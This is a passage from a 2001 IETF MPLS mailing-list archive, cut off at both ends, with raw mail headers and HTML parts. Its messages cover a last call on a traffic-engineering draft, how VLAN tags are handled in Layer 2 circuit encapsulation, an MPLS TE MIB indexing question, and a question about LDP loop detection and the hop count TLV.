style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"><SPAN =
class=3D268132415-23102001>Amir.</SPAN></PRE></DIV>
  <DIV class=3DSection1>
  <P class=3DMsoNormal>&nbsp;</P></DIV>
  <DIV>&nbsp;</DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_001D_01C15BA1.3B52F800--



From owner-mpls@UU.NET  Tue Oct 23 12:47:53 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA10888
	for <mpls-archive@lists.ietf.org>; Tue, 23 Oct 2001 12:47:48 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllzv23905;
	Tue, 23 Oct 2001 16:45:08 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllzu03092
	for mpls-outgoing; Tue, 23 Oct 2001 16:44:37 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllzu03075
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 16:44:29 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllzu08604
	for <mpls@uu.net>; Tue, 23 Oct 2001 16:44:02 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllzu14842
	for <mpls@uu.net>; Tue, 23 Oct 2001 16:44:20 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id MAA02625 for <mpls@uu.net>; Tue, 23 Oct 2001 12:44:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA19225 for mpls@uu.net; Tue, 23 Oct 2001 12:44:02 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllzu02879
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 16:43:42 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllzu04090
	for <mpls@uu.net>; Tue, 23 Oct 2001 16:42:05 GMT
Received: from nitrous.tech.org by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: nitrous.tech.org [207.168.1.229])
	id QQllzu10740
	for <mpls@uu.net>; Tue, 23 Oct 2001 16:42:23 GMT
Received: from EJK-W2K.cisco.com (localhost [127.0.0.1])
	by nitrous.tech.org (8.9.3/8.9.1) with ESMTP id MAA23682
	for <mpls@uu.net>; Tue, 23 Oct 2001 12:42:04 -0400 (EDT)
Date: Tue, 23 Oct 2001 12:42:28 -0400
From: Ed Kern <ejk@cisco.com>
To: mpls@UU.NET
Subject: Last Call on Hierarchy and Restoration Requirements
Message-ID: <156763954.1003840948@EJK-W2K.cisco.com>
X-Mailer: Mulberry/2.1.0 (Win32)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

The traffic engineering working group is now performing a last call on the
document:

        draft-ietf-tewg-restore-hierarchy-00.txt

which outlines requirements for hierarchy and restoration in networks
utilizing CCAMP technologies such as MPLS.  This document will
progress as an informational RFC.  The last call ends November 9,
2001.  Please comment to te-wg@ops.ietf.org

thanks,

Ed & Jim



From owner-mpls@UU.NET  Tue Oct 23 14:12:09 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA14439
	for <mpls-archive@lists.ietf.org>; Tue, 23 Oct 2001 14:12:09 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmaa24294;
	Tue, 23 Oct 2001 18:08:36 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmaa19550
	for mpls-outgoing; Tue, 23 Oct 2001 18:08:24 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmaa19540
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 18:08:18 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmaa28958
	for <mpls@uu.net>; Tue, 23 Oct 2001 18:08:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmaa14352
	for <mpls@uu.net>; Tue, 23 Oct 2001 18:08:20 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA16005 for <mpls@uu.net>; Tue, 23 Oct 2001 14:08:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA23618 for mpls@uu.net; Tue, 23 Oct 2001 14:08:01 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmaa18952
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 18:06:50 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmaa18215
	for <mpls@uu.net>; Tue, 23 Oct 2001 18:06:04 GMT
Received: from zrc2s03g.us.nortel.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: h66s122a103n47.user.nortelnetworks.com [47.103.122.66])
	id QQlmaa19289
	for <mpls@uu.net>; Tue, 23 Oct 2001 18:05:54 GMT
Received: from smtprch1.nortel.com (erchg0j.us.nortel.com [47.113.64.103])
	by zrc2s03g.us.nortel.com (8.9.3+Sun/8.9.1) with ESMTP id NAA10536
	for <mpls@uu.net>; Tue, 23 Oct 2001 13:06:03 -0500 (CDT)
Received: from zrc2s007.us.nortel.com by smtprch1.nortel.com;
          Tue, 23 Oct 2001 13:03:51 -0500
Received: from mailhost.BayNetworks.COM (actually ns1.baynetworks.com) 
          by zrc2s007.us.nortel.com; Tue, 23 Oct 2001 12:43:11 -0500
Received: from pobox.engeast.BayNetworks.COM (pobox.engeast.baynetworks.com [192.32.61.6]) 
          by mailhost.BayNetworks.COM (8.9.1/8.8.8) with ESMTP id KAA09234;
          Tue, 23 Oct 2001 10:40:33 -0700 (PDT)
Received: from lead.engeast (lead [192.32.226.44]) 
          by pobox.engeast.BayNetworks.COM (SMI-8.6/BNET-97/04/24-S) 
          with ESMTP id NAA00465; Tue, 23 Oct 2001 13:42:47 -0400 for
Received: from nortelnetworks.com (localhost [127.0.0.1]) 
          by lead.engeast (8.9.3+Sun/8.9.1) with ESMTP id NAA02172;
          Tue, 23 Oct 2001 13:42:42 -0400 (EDT)
Message-ID: <3BD5AC12.7A033D7D@nortelnetworks.com>
Date: Tue, 23 Oct 2001 13:42:42 -0400
From: "Rajesh Saluja" <rsaluja@nortelnetworks.com>
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Amir Shatil <shatil@cwnt.com>
CC: mpls <mpls@UU.NET>, ppvpn <ppvpn@zephion.net>
Subject: Re: ppvpn some VLAN clarifications
References: <C7DF4400240AFB4095D98C7C6EC2A34A0B7A62@bart.cwnt.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Orig: <rsaluja@nortelnetworks.com>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Amir Shatil wrote:

>
>
> Hi
>
> few Questions about draft-martini-l2circuit-encap-mpls-03.txt:
>
> 1. In section 4.3 it is stated (about the VLAN tag) ??and MAY be overwritten by the egress router.?
>
> What are the cases in which this might happen?
>
> In this case, does the VLAN tag lose its original meaning and functions only as a VC ID (more like a DLCI in F/R)?
>
This will happen when you want to connect two different VLANs through a
VPN.

> 2. Is the reason for carrying the ethernet VLAN L2 encapsulation (section 4.3 "For an Ethernet 802.1q VLAN the entire Ethernet frame without the
>    preamble or FCS is transported as a single packet") is only to preserve the original SA & DA ?
>
You need to recreate the same user frame at the egress and hence you
have to preserve original SA, DA, VLAN Id .

Thanks,
Rajesh

> Thanks
>
> Amir.
>
>
>
--

-------------------------------------------------------------
Rajesh Saluja
Nortel Networks Inc 600 Technology Park Billerica, MA  01821
Ph: (978) 288-7791      Fax: (978) 670-8760
--------------------------------------------------------------





From owner-mpls@UU.NET  Tue Oct 23 14:28:37 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA14996
	for <mpls-archive@lists.ietf.org>; Tue, 23 Oct 2001 14:28:37 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmab20590;
	Tue, 23 Oct 2001 18:22:33 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmab21189
	for mpls-outgoing; Tue, 23 Oct 2001 18:22:25 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmab21164
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 18:22:15 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmab29513
	for <mpls@UU.NET>; Tue, 23 Oct 2001 18:20:20 GMT
Received: from morpheus.lanterncom.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [64.161.157.68])
	id QQlmab06030
	for <mpls@UU.NET>; Tue, 23 Oct 2001 18:20:39 GMT
Received: by morpheus.lanterncom.com with Internet Mail Service (5.5.2653.19)
	id <VD1H158Z>; Tue, 23 Oct 2001 11:07:29 -0700
Message-ID: <58BE468BAC66D511AFE6000347251A2D539593@morpheus.lanterncom.com>
From: Anoop Ghanwani <anoop@lanterncom.com>
To: "'mwu@cisco.com'" <mwu@cisco.com>, Amir Shatil <shatil@cwnt.com>,
        mpls@UU.NET, ppvpn@zephion.net
Subject: RE: ppvpn some VLAN clarifications
Date: Tue, 23 Oct 2001 11:07:29 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C15BED.9424C8E0"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C15BED.9424C8E0
Content-Type: text/plain;
	charset="windows-1255"
Content-Transfer-Encoding: quoted-printable

=20
See below for comments.

-----Original Message-----
From: Michael Wu [mailto:mwu@cisco.com]
Sent: Tuesday, October 23, 2001 9:01 AM
To: Amir Shatil; mpls@UU.NET; ppvpn@zephion.net
Subject: RE: ppvpn some VLAN clarifications


=20

-----Original Message-----
From: owner-ppvpn@cthulu.dc1.dca57.zephion.net
[mailto:owner-ppvpn@cthulu.dc1.dca57.zephion.net]On Behalf Of Amir =
Shatil
Sent: Tuesday, October 23, 2001 8:34 AM
To: mpls@uu.net; ppvpn@zephion.net
Subject: ppvpn some VLAN clarifications


Hi
few Questions about draft-martini-l2circuit-encap-mpls-03.txt:=20
1. In section 4.3 it is stated (about the VLAN tag) =93=85and MAY be =
overwritten
by the egress router.=94
What are the cases in which this might happen?=20
>> So the SP doesn't need to have same vlan id at both ends. But this =
will
prevent STP working
   correctly unless the PE can modify the STP message accordingly.=20
=20
[Anoop Ghanwani]  STP doesn't use the VLAN ID.  In 802.1Q, all VLANs =
use the
same spanning
tree.  Besides I don't think the draft is trying to support bridging.  =
It
just provides point-to-point Ethernet link.
In this case, does the VLAN tag lose its original meaning and functions =
only
as a VC ID (more like a DLCI in F/R)?=20
2. Is the reason for carrying the ethernet VLAN L2 encapsulation =
(section
4.3 "For an Ethernet 802.1q VLAN the entire Ethernet frame without the

   preamble or FCS is transported as a single packet") is only to =
preserve
the original SA & DA ?=20
>> 802.1p will be preserved as well.
Michael=20
Thanks
Amir.

=20

=20


------_=_NextPart_001_01C15BED.9424C8E0
Content-Type: text/html;
	charset="windows-1255"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dwindows-1255">


<META content=3D"MSHTML 5.50.4807.2300" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT color=3D#0000ff size=3D2></FONT>&nbsp;</DIV>
<DIV><SPAN class=3D571111618-23102001><FONT color=3D#0000ff =
size=3D2>See below for=20
comments.</FONT></SPAN></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid; MARGIN-RIGHT: 0px">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> Michael Wu=20
  [mailto:mwu@cisco.com]<BR><B>Sent:</B> Tuesday, October 23, 2001 9:01 =

  AM<BR><B>To:</B> Amir Shatil; mpls@UU.NET;=20
  ppvpn@zephion.net<BR><B>Subject:</B> RE: ppvpn some VLAN=20
  clarifications<BR><BR></FONT></DIV>
  <DIV><FONT face=3DCourier color=3D#008080 =
size=3D2></FONT>&nbsp;</DIV>
  <BLOCKQUOTE dir=3Dltr style=3D"MARGIN-RIGHT: 0px">
    <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
    size=3D2>-----Original Message-----<BR><B>From:</B>=20
    owner-ppvpn@cthulu.dc1.dca57.zephion.net=20
    [mailto:owner-ppvpn@cthulu.dc1.dca57.zephion.net]<B>On Behalf Of =
</B>Amir=20
    Shatil<BR><B>Sent:</B> Tuesday, October 23, 2001 8:34 =
AM<BR><B>To:</B>=20
    mpls@uu.net; ppvpn@zephion.net<BR><B>Subject:</B> ppvpn some VLAN=20
    clarifications<BR><BR></FONT></DIV>
    <DIV><PRE><SPAN =
class=3D268132415-23102001>Hi</SPAN></PRE><PRE><SPAN =
class=3D268132415-23102001></SPAN><SPAN class=3D268132415-23102001>few =
Questions about draft-martini-l2circuit-encap-mpls-03.txt:</SPAN> =
</PRE><PRE class=3DMsoNormal style=3D"DIRECTION: ltr; unicode-bidi: =
embed; TEXT-ALIGN: left"><SPAN class=3D268132415-23102001>1. </SPAN>In =
section 4.3 it is stated (about the VLAN tag) =93=85and MAY be =
overwritten by the egress router.=94</PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left">What =
are the cases in which this might happen?<SPAN =
class=3D170085515-23102001><FONT face=3DCourier color=3D#008080 =
size=3D2>&nbsp;</FONT></SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"><SPAN =
class=3D170085515-23102001><FONT face=3DCourier color=3D#008080 =
size=3D2>&gt;&gt; So the SP doesn't need to have same vlan id at both =
ends. But this will prevent STP working</FONT></SPAN></PRE><PRE =
class=3DMsoNormal style=3D"DIRECTION: ltr; unicode-bidi: embed; =
TEXT-ALIGN: left"><SPAN class=3D170085515-23102001><FONT face=3DCourier =
color=3D#008080 size=3D2>   correctly unless the PE can modify the STP =
message accordingly.</FONT>&nbsp;<BR><SPAN =
class=3D571111618-23102001><FONT face=3DArial color=3D#0000ff =
size=3D2>&nbsp;</FONT></SPAN><BR><SPAN class=3D571111618-23102001><FONT =
face=3DArial color=3D#0000ff size=3D2>[Anoop Ghanwani]&nbsp;&nbsp;STP =
doesn't use the VLAN ID.  In 802.1Q, all VLANs use the same =
spanning</FONT></SPAN></SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"><SPAN =
class=3D170085515-23102001><SPAN class=3D571111618-23102001><FONT =
face=3DArial color=3D#0000ff size=3D2>tree.  Besides I don't think the =
</FONT></SPAN></SPAN><SPAN class=3D170085515-23102001><SPAN =
class=3D571111618-23102001><FONT face=3DArial color=3D#0000ff =
size=3D2>draft is trying to support bridging.  It just provides =
point-to-point Ethernet link.</FONT></SPAN></SPAN></PRE><PRE =
class=3DMsoNormal style=3D"DIRECTION: ltr; unicode-bidi: embed; =
TEXT-ALIGN: left">In this case, does the VLAN tag lose its original =
meaning and functions only as a VC ID (more like a DLCI in F/R)? =
</PRE><PRE class=3DMsoNormal style=3D"DIRECTION: ltr; unicode-bidi: =
embed; TEXT-ALIGN: left"><SPAN class=3D268132415-23102001>2. Is the =
reason for carrying the ethernet VLAN L2 encapsulation (section 4.3 =
"For an Ethernet 802.1q VLAN the entire Ethernet frame without the
   preamble or FCS is transported as a single packet") is only to =
preserve the original SA &amp; DA ?<SPAN =
class=3D170085515-23102001><FONT face=3DCourier color=3D#008080 =
size=3D2>&nbsp;</FONT></SPAN></SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"><SPAN =
class=3D268132415-23102001><SPAN class=3D170085515-23102001><FONT =
face=3DCourier color=3D#008080 size=3D2>&gt;&gt; 802.1p will be =
preserved as well.</FONT></SPAN></SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"><SPAN =
class=3D268132415-23102001><SPAN class=3D170085515-23102001><FONT =
face=3DCourier color=3D#008080 =
size=3D2>Michael</FONT>&nbsp;</SPAN></SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"><SPAN =
class=3D268132415-23102001>Thanks</SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"><SPAN =
class=3D268132415-23102001>Amir.</SPAN></PRE></DIV>
    <DIV class=3DSection1>
    <P class=3DMsoNormal><FONT color=3D#0000ff =
size=3D2></FONT>&nbsp;</P></DIV>
    <DIV><FONT color=3D#0000ff=20
size=3D2></FONT>&nbsp;</DIV></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C15BED.9424C8E0--


From owner-mpls@UU.NET  Tue Oct 23 14:40:41 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA15525
	for <mpls-archive@lists.ietf.org>; Tue, 23 Oct 2001 14:40:40 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmac06364;
	Tue, 23 Oct 2001 18:37:37 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmac22392
	for mpls-outgoing; Tue, 23 Oct 2001 18:37:04 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmac22387
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 18:36:51 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmac12928
	for <mpls@uu.net>; Tue, 23 Oct 2001 18:36:03 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmac09007
	for <mpls@uu.net>; Tue, 23 Oct 2001 18:36:20 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA20270 for <mpls@uu.net>; Tue, 23 Oct 2001 14:36:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA25960 for mpls@uu.net; Tue, 23 Oct 2001 14:36:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmac22166
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 18:35:07 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmac18344
	for <mpls@uu.net>; Tue, 23 Oct 2001 18:34:04 GMT
Received: from mail.alphion.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail.alphion.com [12.34.209.78])
	id QQlmac12359
	for <mpls@uu.net>; Tue, 23 Oct 2001 18:33:55 GMT
Received: by OPTONT with Internet Mail Service (5.5.2653.19)
	id <VNBF3PJV>; Tue, 23 Oct 2001 14:51:12 -0400
Message-ID: <176689DD1922D511ABE10001022E4DF229C6A6@OPTONT>
From: Cheenu Srinivasan <cheenu@alphion.com>
To: "'Ashwin C. Prabhu'" <Ashwinp@in.huawei.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: Doubt in draft-ietf-mpls-te-mib-07.txt 
Date: Tue, 23 Oct 2001 14:51:12 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

> shouldn't there be mplsTunnelInstanceNext ?

This is tricky to add since we cannot have just a single index-next
object but a mechanism to return the next instance index for a given
mplsTunnelIndex. This is like a (read-only) table indexed by 
mplsTunnelIndex.

For example:

mplsTunnelInstanceNextTable ... SEQUENCE OF MplsTunnelInstanceNextEntry

mplsTunnelInstanceNextEntry ... MplsTunnelInstanceEntry
...
INDEX { mplsTunnelIndex }

MplsTunnelInstanceNextEntry ::= SEQUENCE {
  mplsTunnelInstanceNextIndex INTEGER
}



From owner-mpls@UU.NET  Tue Oct 23 14:50:17 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA15848
	for <mpls-archive@lists.ietf.org>; Tue, 23 Oct 2001 14:50:17 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmad01767;
	Tue, 23 Oct 2001 18:47:16 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmad23204
	for mpls-outgoing; Tue, 23 Oct 2001 18:46:08 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmad23150
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 18:45:58 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmad23795
	for <mpls@UU.NET>; Tue, 23 Oct 2001 18:45:22 GMT
Received: from web14102.mail.yahoo.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14102.mail.yahoo.com [216.136.172.132])
	id QQlmad21378
	for <mpls@UU.NET>; Tue, 23 Oct 2001 18:45:40 GMT
Message-ID: <20011023184521.69128.qmail@web14102.mail.yahoo.com>
Received: from [199.166.16.38] by web14102.mail.yahoo.com via HTTP; Tue, 23 Oct 2001 11:45:21 PDT
Date: Tue, 23 Oct 2001 11:45:21 -0700 (PDT)
From: LDP Hello <ldp_hello@yahoo.com>
Subject: LDP loop detection
To: mpls@UU.NET
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi all;

In, 3.5.3 , initialization msg Loop detection bit D, indicated whether
loop detection is based on Path Vector is enabled or Not. 

2.8 of 3036 explains the loop detection for LDP . MUST has been
redifined for this section if CONFIGURED for loop detection... 

... In 2.8.1, use of HOP COUNT TLV in label request messages "WHEN LOOP
DETECTION IS ENABLED" says Label request message MUST include a HOP
Count.

Now my question is -
is THIS LOOP DETECTION enable/disable is the same as used in while
sending in Initilization message ?  If Loop detection is not enabled,
can HOP COUNT TLV still be included in label request ? 

2.8.1 talks the procedures only if loop detection is enabled ? pages 57
clearly says path vec lim is 0 is D bit is 0 ... 

3.4.4.1 only explains the procedure if msg is received @ an LSR with
HOP count included ... So can HOP cOunt tlv can be included in label
request/mapping without PATH VECTOR TLV ??? what option controls
whether to include HOP COUNT TLV or not ... without path vector tlv ???


Many thanks






__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com


From owner-mpls@UU.NET  Tue Oct 23 14:50:54 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA15898
	for <mpls-archive@lists.ietf.org>; Tue, 23 Oct 2001 14:50:54 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmad07205;
	Tue, 23 Oct 2001 18:47:27 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmad23346
	for mpls-outgoing; Tue, 23 Oct 2001 18:47:11 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmad23336
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 18:47:07 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmad21797
	for <mpls@UU.NET>; Tue, 23 Oct 2001 18:46:55 GMT
Received: from web14101.mail.yahoo.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14101.mail.yahoo.com [216.136.172.131])
	id QQlmad01625
	for <mpls@UU.NET>; Tue, 23 Oct 2001 18:47:13 GMT
Message-ID: <20011023184654.7790.qmail@web14101.mail.yahoo.com>
Received: from [199.166.16.38] by web14101.mail.yahoo.com via HTTP; Tue, 23 Oct 2001 11:46:54 PDT
Date: Tue, 23 Oct 2001 11:46:54 -0700 (PDT)
From: LDP Hello <ldp_hello@yahoo.com>
Subject: ldp loop detection
To: mpls@UU.NET
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


Hi all;

In, 3.5.3 , initialization msg Loop detection bit D, indicated whether
loop detection is based on Path Vector is enabled or Not. 

2.8 of 3036 explains the loop detection for LDP . MUST has been
redifined for this section if CONFIGURED for loop detection... 

... In 2.8.1, use of HOP COUNT TLV in label request messages "WHEN LOOP
DETECTION IS ENABLED" says Label request message MUST include a HOP
Count.

Now my question is -
is THIS LOOP DETECTION enable/disable is the same as used in while
sending in Initilization message ?  If Loop detection is not enabled,
can HOP COUNT TLV still be included in label request ? 

2.8.1 talks the procedures only if loop detection is enabled ? pages 57
clearly says path vec lim is 0 is D bit is 0 ... 

3.4.4.1 only explains the procedure if msg is received @ an LSR with
HOP count included ... So can HOP cOunt tlv can be included in label
request/mapping without PATH VECTOR TLV ??? what option controls
whether to include HOP COUNT TLV or not ... without path vector tlv ???


Many thanks






__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com


From owner-mpls@UU.NET  Tue Oct 23 14:53:07 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA15983
